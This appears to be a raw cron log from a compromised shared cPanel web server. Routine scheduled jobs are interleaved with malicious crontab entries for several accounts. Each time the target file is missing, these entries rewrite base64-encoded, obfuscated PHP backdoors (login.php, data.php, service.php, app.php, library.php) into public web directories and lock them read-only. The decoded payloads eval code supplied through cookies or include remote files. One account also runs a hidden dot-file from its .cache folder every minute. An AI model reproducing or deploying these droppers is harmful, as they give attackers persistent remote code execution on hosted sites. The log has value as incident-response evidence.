9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:13:01 medusa CROND[8940]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 18:13:01 medusa CROND[8941]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  1 18:13:01 medusa CROND[8944]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:14:01 medusa CROND[769]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:14:01 medusa CROND[844]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:14:01 medusa CROND[847]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:14:01 medusa CROND[848]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:14:01 medusa CROND[850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:14:01 medusa CROND[849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:14:01 medusa CROND[853]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:14:01 medusa CROND[856]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:14:01 medusa CROND[857]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:14:01 medusa CROND[858]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 18:14:01 medusa CROND[855]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 18:14:01 medusa CROND[867]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:14:01 medusa CROND[868]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:15:01 medusa CROND[25473]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 18:15:01 medusa CROND[25474]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:15:01 medusa CROND[25475]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 18:15:01 medusa CROND[25476]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:15:01 medusa CROND[25477]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 18:15:01 medusa CROND[25478]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:15:01 medusa CROND[25480]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 18:15:01 medusa CROND[25479]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Mar  1 18:15:01 medusa CROND[25486]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 18:15:01 medusa CROND[25487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:15:01 medusa CROND[25490]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 18:15:01 medusa CROND[25491]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 18:15:01 medusa CROND[25488]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 18:15:01 medusa CROND[25489]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 18:15:01 medusa CROND[25495]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 18:15:01 medusa CROND[25497]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  1 18:15:01 medusa CROND[25503]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:15:01 medusa CROND[25502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:15:01 medusa CROND[25500]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 18:15:01 medusa CROND[25499]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 18:15:01 medusa CROND[25501]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:15:01 medusa CROND[25507]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 18:15:01 medusa CROND[25498]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 18:15:01 medusa CROND[25513]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 18:15:01 medusa CROND[25514]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 18:16:01 medusa CROND[18649]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 18:16:01 medusa CROND[18769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 18:16:01 medusa CROND[18803]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 18:16:01 medusa CROND[18808]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 18:16:01 medusa CROND[18809]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 18:16:01 medusa CROND[18810]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
